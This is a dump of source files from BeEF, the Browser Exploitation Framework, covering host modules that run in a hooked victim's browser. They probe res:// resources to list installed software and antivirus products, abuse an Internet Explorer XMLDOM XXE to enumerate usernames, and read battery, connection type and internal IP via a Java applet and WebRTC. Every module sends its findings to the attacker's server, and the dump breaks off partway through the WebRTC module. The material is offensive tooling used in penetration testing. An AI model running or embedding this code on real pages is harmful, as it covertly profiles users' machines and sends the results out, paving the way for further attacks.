[\"McAfee Enterprise\", 'McAfee\\\\VirusScan Enterprise\\\\graphics.dll/2/202'],\n    [\"McAfee Security Center\", 'McAfee\\\\MSC\\\\mclgview.exe/2/129'],\n    [\"Norton Internet Security 16.0.0.125\", 'Norton Internet Security\\\\Engine\\\\16.0.0.125\\\\SymSHAx9.dll/2/102'],\n    [\"Norton Internet Security 16.5.0.135\", 'Norton Internet Security\\\\Engine\\\\16.5.0.135\\\\SymSHAx9.dll/2/102'],\n    [\"Norton AntiVirus 17.5.0.127\", 'Norton AntiVirus\\\\MUI\\\\17.5.0.127\\\\images\\\\cssbase.dll/2/SCANTASKWZ_SCAN_ITEM_LIST.BMP'],\n    [\"NOD32 Smart Security\", 'ESET\\\\ESET Smart Security\\\\eguiEpfw.dll/2/1070'],\n    [\"Trend Micro Internet Security\", 'Trend Micro\\\\Internet Security\\\\UfSeAgnt.exe/2/30994'],\n    [\"Trend Micro OfficeScan Client\", 'Trend Micro\\\\OfficeScan Client\\\\PcNTMon.exe/2/30994'],\n    [\"Sucop Antivirus\", 'Sucop\\\\SecPlugin\\\\SecPlugin.dll/#2/211'],\n    [\"Sophos Client Firewall\", 'Sophos\\\\Sophos Client Firewall\\\\logo_rc.dll/2/114'],\n    [\"Symantec Endpoint Protection\", 'Symantec\\\\LiveUpdate\\\\AUPDATE.exe/2/129'],\n    [\"ZoneAlarm\", 'Zone Labs\\\\ZoneAlarm\\\\alert.zap/2/176'],\n\n    // The following signatures were taken from:\n    // https://www.alienvault.com/blogs/labs-research/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi\n    [\"Microsoft Office 97\", \"Microsoft Office\\\\OFFICE\\\\BINDER.EXE/16/1\"],\n    [\"Microsoft Office 2000\", \"Microsoft Office\\\\OFFICE\\\\WINWORD.EXE/16/1\"],\n    [\"Microsoft Office XP\", \"Microsoft Office\\\\OFFICE10\\\\WINWORD.EXE/16/1\"],\n    [\"Microsoft Office 2003\", \"Microsoft Office\\\\OFFICE11\\\\WINWORD.EXE/16/1\"],\n    [\"Microsoft Office 2007\", \"Microsoft Office\\\\OFFICE12\\\\WINWORD.EXE/16/1\"],\n    [\"Microsoft Office 2010\", \"Microsoft Office\\\\OFFICE14\\\\WINWORD.EXE/16/1\"],\n    [\"WPS Office Personal\", \"Kingsoft\\\\WPS Office Personal\\\\utility\\\\repairinst.exe/16/1\"],\n    [\"WPS Office 2008\", \"Kingsoft\\\\WPS Office 2008\\\\utility\\\\repairinst.exe/16/1\"],\n    [\"WPS Office 2009\", \"Kingsoft\\\\WPS Office 2009\\\\utility\\\\repairinst.exe/16/1\"],\n    [\"WPS Office 2010\", \"Kingsoft\\\\WPS Office 2010\\\\utility\\\\repairinst.exe/16/1\"],\n    [\"WinRar 3.5\", \"WinRAR\\\\WinRar.exe/6/90\"],\n    [\"WinRar 3.6\", \"WinRAR\\\\WinRar.exe/6/91\"],\n    [\"WinRar 3.7\", \"WinRAR\\\\WinRar.exe/6/92\"],\n    [\"WinRar 3.8\", \"WinRAR\\\\WinRar.exe/6/93\"],\n    [\"WinRar 3.9\", \"WinRAR\\\\RarExt.d11/24/2\"],\n    [\"WinZip\", \"WinZip\\\\WinZip32.exe/16/1\"],\n    [\"7zip\", \"7—Zip\\\\7zFm.exe/16/1\"],\n    [\"Adobe Reader 7\", \"Adobe\\\\Reader 7.0\\\\Reader\\\\AXEParser.d11/16/1\"],\n    [\"Adobe Professional 7\", \"Adobe\\\\Acrobat 7.0\\\\Acrobat\\\\Acrobat.dll/16/1\"],\n    [\"Adobe Reader 8\", \"Adobe\\\\Reader 8.0\\\\Reader\\\\AdobeXMP.d11/16/1\"],\n    [\"Adobe Reader 9\", \"Adobe\\\\Reader 9.0\\\\Reader\\\\AcroRd32.exe/16/1\"],\n    [\"Adobe Reader 10\", \"Adobe\\\\Reader 10.0\\\\Reader\\\\AcroRd32.exe/16/1\"],\n    [\"Skype\", \"Skype\\\\Phone\\\\Skype.exe/16/1\"],\n    [\"Skype\", \"Skype\\\\Phone\\\\sktransfer.d11/16/1\"],\n    [\"Microsoft Outlook 6\", \"Outlook Express\\\\msimn.exe/16/1\"],\n    [\"Microsoft Outlook 2000\", \"Microsoft Office\\\\OFFICE\\\\OUTLOOK.EXE/16/1\"],\n    [\"Microsoft Outlook XP\", \"Microsoft Office\\\\OFFICE10\\\\OUTLOOK.EXE/16/1\"],\n    [\"Microsoft Outlook 2003\", \"Microsoft Office\\\\OFFICE11\\\\OUTLOOK.EXE/16/1\"],\n    [\"Microsoft Outlook 2007\", \"Microsoft Office\\\\OFFICE12\\\\OUTLOOK.EXE/16/1\"],\n    [\"Microsoft Outlook 2010\", \"Microsoft Office\\\\OFFICE14\\\\OUTLOOK.EXE/16/1\"],\n    [\"Yahoo Messenger\", \"Yahoo!\\\\Messenger\\\\YahooMessenger.exe/16/1\"],\n    [\"Yahoo Messenger 5\", \"Yahoo!\\\\Messenger\\\\YPager.exe/16/1\"],\n    [\"Yahoo Messenger 6\", \"Yahoo!\\\\Messenger\\\\asw.d11/16/1\"],\n    [\"Yahoo Messenger 7\", \"Yahoo!\\\\Messenger\\\\yxtldr.d11/16/1\"],\n    [\"Yahoo Messenger 8\", \"Yahoo!\\\\Messenger\\\\P2PCE.d11/16/1\"],\n    [\"Yahoo Messenger 9\", \"Yahoo!\\\\Messenger\\\\GIPSVoiceEngineDLL_MD.d11/16/1\"],\n    [\"Yahoo Messenger 10\", \"Yahoo!\\\\Messenger\\\\ConnectionWizard.d11/16/1\"],\n    [\"Flashget\", \"FlashGet\\\\flashget.exe/16/1\"],\n    [\"Flashget\", \"FlashGet Network\\\\FlashGet 3\\\\Flashget3.exe/16/1\"],\n    [\"Thunder\", \"Thunder Network\\\\Thunder\\\\Thunder.exe/16/1\"],\n    [\"Thunder\", \"Thunder Network\\\\Thunder\\\\Program\\\\Thunder.exe/16/1\"],\n    [\"Thunder\", \"Thunder Network\\\\Thunder6\\\\Thunder.exe/16/1\"],\n    [\"eMule\", \"eMule\\\\emule.exe/16/1\"],\n    [\"eMule\", \"easyMule2\\\\easyMule.exe/16/1\"],\n    [\"BT\", \"BitComet\\\\BitComet.exe/16/1\"],\n    [\"QDownload\", \"Tencent\\\\QQDownload\\\\QQDownload.exe/16/1\"],\n    [\"BitSpirit\", \"BitSpirit\\\\BitSpirit.exe/16/1\"],\n    [\"Serv—U\", \"RhinoSoft.com\\\\Serv—U\\\\Serv—U.exe/16/1\"],\n    [\"radmin\", \"Radmin\\\\radmin.exe/16/1\"],\n\n    // The following signatures were taken from AttackAPI\n    // https://code.google.com/p/attackapi/source/browse/tags/attackapi-2.5.0b/lib/dom/signatures.js\n    ['L0pht Crack 5', '@stake\\\\LC5\\\\lc5.exe/#2/#102'],\n    ['Adobe Acrobat 7', 'adobe\\\\acrobat 7.0\\\\acrobat\\\\acrobat.dll/#2/#210'],\n    ['Ahead Nero', 'ahead\\\\nero\\\\nero.exe/#2/NEROSESPLASH'],\n    ['Azureus', 'azureus\\\\uninstall.exe/#2/#110'],\n    ['Cain', 'cain\\\\uninstal.exe/#2/#106'],\n    ['Citrix', 'Citrix\\\\icaweb32\\\\mfc30.dll/#2/#30989'],\n    ['PGP Desktop', 'PGP Corporation\\\\PGP Desktop\\\\PGPdesk.exe/#2/#600'],\n    ['Google Toolbar', 'Google\\\\googleToolbar1.dll/#2/#120'],\n    ['Flash MX 2004', 'Macromedia\\\\Flash MX 2004\\\\flash.exe/#2/#4395'],\n    ['MSN Messenger', 'Messenger\\\\msmsgs.exe/#2/#607'],\n    ['Microsoft Live Meeting 7', 'Microsoft Office\\\\live meeting 7\\\\console\\\\7.5.2302.14\\\\pwresources_zh_tt.dll/#2/#9006'],\n    ['Microsoft Excel 2003', 'Microsoft Office\\\\Office11\\\\excel.exe/#34/#904'],\n    ['Microsoft Office 2003', 'Microsoft Office\\\\Office11\\\\1033\\\\MSOhelp.exe/#2/201'],\n    ['Microsoft Visual Studio 8', 'Microsoft Visual Studio 8\\\\common7\\\\ide\\\\devenv.exe/#2/#6606'],\n    ['Microsoft Movie Maker', 'Movie Maker\\\\moviemk.exe/RT_JPG/sample1'],\n    ['Picasa2', 'picasa2\\\\picasa2.exe/#2/#138'],\n    ['Quicktime', 'quicktime\\\\quicktimeplayer.exe/#2/#403'],\n    ['Real VNC4', 'RealVNC\\\\VNC4\\\\vncviewer.exe/#2/#120'],\n    ['OLE View', 'Resource Kit\\\\oleview.exe/#2/#2'],\n    ['Secure CRT', 'SecureCRT\\\\SecureCRT.exe/#2/#224'],\n    ['Symantec Antivirus', 'symantec_client_security\\\\symantec antivirus\\\\vpc32.exe/#2/#157'],\n    ['Ultramon', 'ultramon\\\\ultramondesktop.exe/#2/#108'],\n    ['VMware Workstation', 'vmware\\\\vmware workstation\\\\vmware.exe/#2/#508'],\n    ['Winamp', 'winamp\\\\winamp.exe/#2/#109'],\n    ['Windows Media Player', 'Windows Media Player\\\\wmsetsdk.exe/#2/#249']\n  ];\n\n  beef.debug(\"[Detect Software] Enumerating installed software...\");\n  for (var dir=0;dir<program_dirs.length; dir++) {\n    for (var i=0; i<software.length; i++) {\n      var img    = new Image;\n      img.title  = software[i][0];\n      img.src    = \"res://\" + drive + \":\\\\\" + program_dirs[dir] + \"\\\\\" + software[i][1];\n      img.onload = function() { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"installed_software=\" + this.title); dom.removeChild(this); }\n      img.onerror= function() { dom.removeChild(this); }\n      dom.appendChild(img);\n    }\n  }\n\n  // Enumerate Java JDK installs\n  beef.debug(\"[Detect Software] Enumerating JDK installs...\");\n  var java_versions = ['1.8.0', '1.7.0', '1.6.0'];\n  for (var dir=0;dir<program_dirs.length; dir++) {\n    for (var v=0; v<java_versions.length; v++) {\n      for (var patch_level=0; patch_level<100; patch_level++) {\n        var pad = '';\n        if (patch_level < 10) pad = '0';\n        var img    = new Image;\n        img.title  = \"Java JDK\" + java_versions[v] + \"_\" + pad + patch_level;\n        img.src    = \"res://\" + drive + \":\\\\\" + program_dirs[dir] + \"\\\\Java\\\\jdk\" + java_versions[v] + \"_\" + pad + patch_level + \"\\\\jre\\\\bin\\\\awt.dll/2/CHECK_BITMAP\";\n        img.onload = function() { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"installed_software=\" + this.title); dom.removeChild(this); }\n        img.onerror= function() { dom.removeChild(this); }\n        dom.appendChild(img);\n      }\n    }\n  }\n\n  // Enumerate Silverlight installs\n  beef.debug(\"[Detect Software] Enumerating Silverlight installs...\");\n  var silverlight_versions = [\n    '5.1.50901.0',\n    '5.1.50709.0',\n    '5.1.50428.0',\n    '5.1.41212.0',\n    '5.1.41105.0',\n    '5.1.40728.0',\n    '5.1.40416.0',\n    '5.1.31211.0',\n    '5.1.30514.0',\n    '5.1.30214.0',\n    '5.1.20913.0',\n    '5.1.20513.0',\n    '5.1.20125.0',\n    '5.1.10411.0',\n    '5.0.61118.0',\n    '5.0.60818.0',\n    '5.0.60401.0',\n    '4.1.10329.0',\n    '4.1.10111.0',\n    '4.0.60831.0',\n    '4.0.60531.0',\n    '4.0.60310.0',\n    '4.0.60129.0',\n    '4.0.51204.0',\n    '4.0.50917.0',\n    '4.0.50826.0',\n    '4.0.50524.00',\n    '4.0.50401.00',\n    '3.0.50611.0',\n    '3.0.50106.00',\n    '3.0.40818.00',\n    '3.0.40723.00',\n    '3.0.40624.00',\n    '2.0.40115.00',\n    '2.0.31005.00',\n    '1.0.30715.00',\n    '1.0.30401.00',\n    '1.0.30109.00',\n    '1.0.21115.00',\n    '1.0.20816.00'\n  ];\n\n  for (var dir=0;dir<program_dirs.length; dir++) {\n    for (var i=0; i<silverlight_versions.length; i++) {\n      var img    = new Image;\n      img.title  = silverlight_versions[i];\n      img.src    = \"res://\" + drive + \":\\\\\" + program_dirs[dir] + \"\\\\Microsoft Silverlight\\\\\" + silverlight_versions[i] + \"\\\\npctrl.dll/2/102\";\n      img.onload = function() { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"installed_software=Microsoft Silverlight v\" + this.title); dom.removeChild(this); }\n      img.onerror= function() { dom.removeChild(this); }\n      dom.appendChild(img);\n    }\n  }\n});\n\n"
  },
  {
    "path": "modules/host/detect_software/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nbeef:\n    module:\n        detect_software:\n            enable: true\n            category: \"Host\"\n            name: \"Detect Software\"\n            description: \"This module attempts to detect software installed on the host by using <a href='https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/'>Internet Explorer XMLDOM XXE</a> discovered by Soroush Dalili (@irsdl).<br/><br/>If the XMLDOM XXE technique fails, the module falls back to using the 'res' protocol handler to load known resource images from EXE/DLL files.<br/><br/>It also attempts to enumerate installed patches if service pack uninstall files are present on the host (WinXP only).\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"IE\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/detect_software/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Detect_software < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['installed_software'] = @datastore['installed_software'] unless @datastore['installed_software'].nil?\n    content['installed_patches'] = @datastore['installed_patches'] unless @datastore['installed_patches'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/detect_users/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  if (!(\"ActiveXObject\" in window)) {\n    beef.debug('[Detect Users] Unspported browser');\n    beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());\n    return false;\n  }\n\n  function detect_folder(path) {\n    var dtd = 'res://' + path;\n    var xml = '<?xml version=\"1.0\" ?><!DOCTYPE anything SYSTEM \"' + dtd + '\">';\n    var xmlDoc = new ActiveXObject(\"Microsoft.XMLDOM\");\n    xmlDoc.async = true;\n    try {\n      xmlDoc.loadXML(xml);\n      return false;\n    } catch (e) {\n      return true;\n    }\n  }\n\n  // Detect home directory\n  beef.debug('[Detect Users] Checking for home directory');\n  var home_dirs = [\"C:\\\\Documents and Settings\\\\\", \"C:\\\\Users\\\\\"];\n  var default_users = ['Default', 'Default User', 'All Users'];\n  var home_dir = '';\n  for (var i = 0; i < home_dirs.length; i++) {\n    for (var j = 0; j < default_users.length; j++) {\n      var result = detect_folder(home_dirs[i] + default_users[j]);\n      if (result) {\n        beef.debug('[Detect Users] Found home directory: ' + home_dirs[i]);\n        home_dir = home_dirs[i];\n        break;\n      }\n    }\n  }\n\n  if (home_dir == '') {\n    beef.debug('[Detect Users] Could not find home directory');\n    beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.are.status_error());\n    return false;\n  }\n\n  // Enumerate common usernames\n  var users = [\n    // Localised administrator accounts\n    'Administrator', 'Järjestelmänvalvoja', 'Administrateur',\n    'Rendszergazda', 'Administrador', 'Администратор', 'Administrador',\n    'Administratör',\n    // Common administrator accounts\n    'adm', 'admin', 'localadmin', 'root',\n    // Common usernames\n    '1234', '12345', '123456', 'helpdesk', 'support', 'user',\n    'guest', 'public', 'demo', 'test', 'temp', 'www', 'svc'];\n  for (var i = 0; i < users.length; i++) {\n    var user = users[i];\n    beef.debug('[Detect Users] Checking for user: ' + user);\n    var result = detect_folder(home_dir + user);\n    if (result) {\n      beef.debug('[Detect Users] Found user: ' + user);\n      beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());\n    }\n  }\n\n  // Common first name / last name combinations\n  // Source: https://techcrunch.com/2009/06/23/ever-wondered-what-the-most-common-names-on-facebook-are-heres-a-list/\n  var first_names = ['John', 'David', 'Michael', 'Chris', 'Mike',\n    'Mark', 'Paul', 'Daniel', 'James', 'Maria'];\n  var last_names = ['Smith', 'Jones', 'Johnson', 'Lee', 'Brown',\n    'Williams', 'Rodriguez', 'Garcia', 'Gonzalez', 'Lopez'];\n\n  // All first names\n  // Format: <FIRST>\n  for (var i = 0; i < first_names.length; i++) {\n    var user = first_names[i];\n    beef.debug('[Detect Users] Checking for user: ' + user);\n    var result = detect_folder(home_dir + user);\n    if (result) {\n      beef.debug('[Detect Users] Found user: ' + user);\n      beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());\n    }\n  }\n\n  // All first names with all last names\n  // Format: <FIRST><LAST>\n  for (var i = 0; i < first_names.length; i++) {\n    for (var j = 0; j < first_names.length; j++) {\n      var user = first_names[i] + last_names[j];\n      beef.debug('[Detect Users] Checking for user: ' + user);\n      var result = detect_folder(home_dir + user);\n      if (result) {\n        beef.debug('[Detect Users] Found user: ' + user);\n        beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());\n      }\n    }\n  }\n\n  // All first names with all last names, joined by '.'\n  // Format: <FIRST>.<LAST>\n  for (var i = 0; i < first_names.length; i++) {\n    for (var j = 0; j < first_names.length; j++) {\n      var user = first_names[i] + '.' + last_names[j];\n      beef.debug('[Detect Users] Checking for user: ' + user);\n      var result = detect_folder(home_dir + user);\n      if (result) {\n        beef.debug('[Detect Users] Found user: ' + user);\n        beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());\n      }\n    }\n  }\n\n  // First initial + last name\n  // Format: <A-Z><LAST>\n  for (var i = 0; i < last_names.length; i++) {\n    for (var j = 65; j <= 90; j++) {\n    var user = String.fromCharCode(j) + last_names[i];\n      beef.debug('[Detect Users] Checking for user: ' + user);\n      var result = detect_folder(home_dir + user);\n      if (result) {\n        beef.debug('[Detect Users] Found user: ' + user);\n        beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());\n      }\n    }\n  }\n\n  // Last name + first initial\n  // Format: <LAST><A-Z>\n  for (var i = 0; i < last_names.length; i++) {\n    for (var j = 65; j <= 90; j++) {\n    var user = last_names[i] + String.fromCharCode(j);\n      beef.debug('[Detect Users] Checking for user: ' + user);\n      var result = detect_folder(home_dir + user);\n      if (result) {\n        beef.debug('[Detect Users] Found user: ' + user);\n        beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());\n      }\n    }\n  }\n\n});\n\n"
  },
  {
    "path": "modules/host/detect_users/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_users:\n            enable: true\n            category: \"Host\"\n            name: \"Detect Users\"\n            description: \"This module attempts to enumerate valid usernames on the user's system using <a href='https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/'>Internet Explorer XMLDOM XXE</a> discovered by Soroush Dalili (@irsdl).\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"IE\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/detect_users/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Detect_users < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/get_battery_status/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\nbeef.execute(function() {\n    var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;\n\n    if (!battery) {\n       beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"Unable to get battery status\");\n    }\n\n    var chargingStatus = battery.charging;\n    var batteryLevel = battery.level * 100 + \"%\";\n    var chargingTime = battery.chargingTime;\n    var dischargingTime = battery.dischargingTime;\n\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"chargingStatus=\" + chargingStatus + \"&batteryLevel=\" + batteryLevel + \"&chargingTime=\" + chargingTime + \"&dischargingTime=\" + dischargingTime);\n});\n"
  },
  {
    "path": "modules/host/get_battery_status/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_battery_status:\n            enable: true\n            category: \"Host\"\n            name: \"Get Battery Status\"\n            description: \"Get informations of the victim current battery status\"\n            authors: [\"ecneladis\"]\n            target:\n                working: [\"FF\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/host/get_battery_status/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_battery_status < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['chargingStatus'] = @datastore['chargingStatus']\n    content['batteryLevel'] = @datastore['batteryLevel']\n    content['chargingTime'] = @datastore['chargingTime']\n    content['dischargingTime'] = @datastore['dischargingTime']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/get_connection_type/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var connection_type = beef.net.connection.type();\n  beef.net.send('<%= @command_url %>', <%= @command_id %>, \"connection=\"+connection_type);\n});\n"
  },
  {
    "path": "modules/host/get_connection_type/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_connection_type:\n            enable: true\n            category: \"Host\"\n            name: \"Get Network Connection Type\"\n            description: \"Retrieve the network connection type (wifi, 3G, etc).<br/>Note: Android only.\"\n            authors: [\"bcoles\"]\n            target:\n                working:\n                    C:\n                        os: [\"Android\"]\n                        min_ver: 46\n                        max_ver: 47\n                    FF:\n                        os: [\"Android\"]\n                        min_ver: 42\n                        max_ver: 42\n                not_working:\n                    ALL:\n                        os: [\"All\"]\n"
  },
  {
    "path": "modules/host/get_connection_type/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_connection_type < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['connection']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/get_internal_ip_java/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    var applet_uri = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/';\n\tvar internal_counter = 0;\n\tvar timeout = 30;\n    var output;\n    beef.dom.attachApplet('get_internal_ip', 'get_internal_ip', 'get_internal_ip' ,\n        applet_uri, null, null);\n\n    function waituntilok() {\n        try {\n            output = document.get_internal_ip.ip();\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, output);\n\t\t\t\tbeef.dom.detachApplet('get_internal_ip');\n\t\t\t\treturn;\n\t\t\t} catch (e) {\n\t\t\t\tinternal_counter++;\n\t\t\t\tif (internal_counter > timeout) {\n\t\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'Timeout after '+timeout+' seconds');\n\t\t\t\t\tbeef.dom.detachApplet('get_internal_ip');\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tsetTimeout(function() {waituntilok()},1000);\n\t\t\t}\n\t}\n\n\tsetTimeout(function() {waituntilok()},5000);\n\n});\n"
  },
  {
    "path": "modules/host/get_internal_ip_java/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_internal_ip_java:\n            enable: true\n            category: \"Host\"\n            name: \"Get Internal IP (Java)\"\n            description: \"Retrieve the local network interface IP address of the victim machine using an unsigned Java applet.<br/><br/>The browser must have Java enabled and configured to allow execution of unsigned Java applets.<br/><br/>Note that modern Java (as of Java 7u51) will outright refuse to execute unsigned Java applets, and will also reject self-signed Java applets unless they're added to the exception list.\"\n            authors: [\"antisnatchor\"]\n            target:\n                 user_notify: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/get_internal_ip_java/get_internal_ip.java",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\nimport java.applet.Applet;\nimport java.applet.AppletContext;\nimport java.net.InetAddress;\nimport java.net.Socket;\n\n/* to compiled it in MacOSX SnowLeopard/Lion:\n*  javac -cp /System/Library/Frameworks/JavaVM.framework/Resources/Deploy.bundle/Contents/Resources/Java/plugin.jar get_internal_ip.java\n*  author: antisnatchor (adapted from Lars Kindermann applet)\n*/\npublic class get_internal_ip extends Applet {\n    String Ip = \"unknown\";\n    String internalIp = \"unknown\";\n    String IpL = \"unknown\";\n\n    private String MyIP(boolean paramBoolean) {\n        Object obj = \"unknown\";\n        String str2 = getDocumentBase().getHost();\n        int i = 80;\n        if (getDocumentBase().getPort() != -1) i = getDocumentBase().getPort();\n        try {\n            String str1 = new Socket(str2, i).getLocalAddress().getHostAddress();\n            if (!str1.equals(\"255.255.255.255\")) obj = str1;\n        } catch (SecurityException localSecurityException) {\n            obj = \"FORBIDDEN\";\n        } catch (Exception localException1) {\n            obj = \"ERROR\";\n        }\n        if (paramBoolean) try {\n            obj = new Socket(str2, i).getLocalAddress().getHostName();\n        } catch (Exception localException2) {\n        }\n        return (String) obj;\n    }\n\n    public void init() {\n        this.Ip = MyIP(false);\n    }\n\n    public String ip() {\n        return this.Ip;\n    }\n\n    public String internalIp() {\n        return this.internalIp;\n    }\n\n    public void start() {\n    }\n}"
  },
  {
    "path": "modules/host/get_internal_ip_java/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_internal_ip_java < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_internal_ip_java/get_internal_ip.class', '/get_internal_ip', 'class')\n  end\n\n  # def self.options\n  #  return [\n  #      { 'name' => 'applet_name', 'description' => 'Applet Name', 'ui_label'=>'Number', 'value' =>'5551234','width' => '200px' },\n  #  ]\n  # end\n\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/get_internal_ip.class')\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n\n    session_id = @datastore['beefhook']\n\n    # save the network host\n    return unless @datastore['results'] =~ /^([\\d.]+)$/\n\n    ip = Regexp.last_match(1)\n    if BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser has network interface #{ip}\")\n      BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip)\n    end\n  end\nend\n"
  },
  {
    "path": "modules/host/get_internal_ip_webrtc/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n   var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;\n\n    if (window.RTCIceGatherer || RTCPeerConnection){\n\n        var addrs = Object.create(null);\n        addrs[\"0.0.0.0\"] = false;\n        \n        // Prefer RTCIceGatherer of simplicity.\n        if (window.RTCIceGatherer) {\n            var iceGatherer = new RTCIceGatherer({\n                \"gatherPolicy\": \"all\",\n                \"iceServers\": [ ],\n            });\n            iceGatherer.onlocalcandidate = function (evt) {\n                if (evt.candidate.type) {\n                  // There may be multiple IP addresses\n                  if (evt.candidate.type == \"host\") {\n                      // The ones marked \"host\" are local IP addresses\n                      processIPs(evt.candidate.ip);\n                  };\n                } else {\n                  retResults();\n                };\n            };\n            iceGatherer.onerror = function (e) {\n                beef.debug(\"ICE Gatherer Failed\");\n                beef.net.send('<%= @command_url %>', <%= @command_id %>, \"ICE Gatherer Failed\", beef.are.status_error());\n            };\n        } else {\n          // Construct RTC peer connection\n          var servers = {iceServers:[]};\n          var mediaConstraints = {optional:[{googIPv6: true}]};\n          var rtc = new RTCPeerConnection(servers, mediaConstraints);\n          rtc.createDataChannel('', {reliable:false});\n\n          // Upon an ICE candidate being found\n          // Grep the SDP data for IP address data\n          rtc.onicecandidate = function (evt) {\n              if (evt.candidate){\n  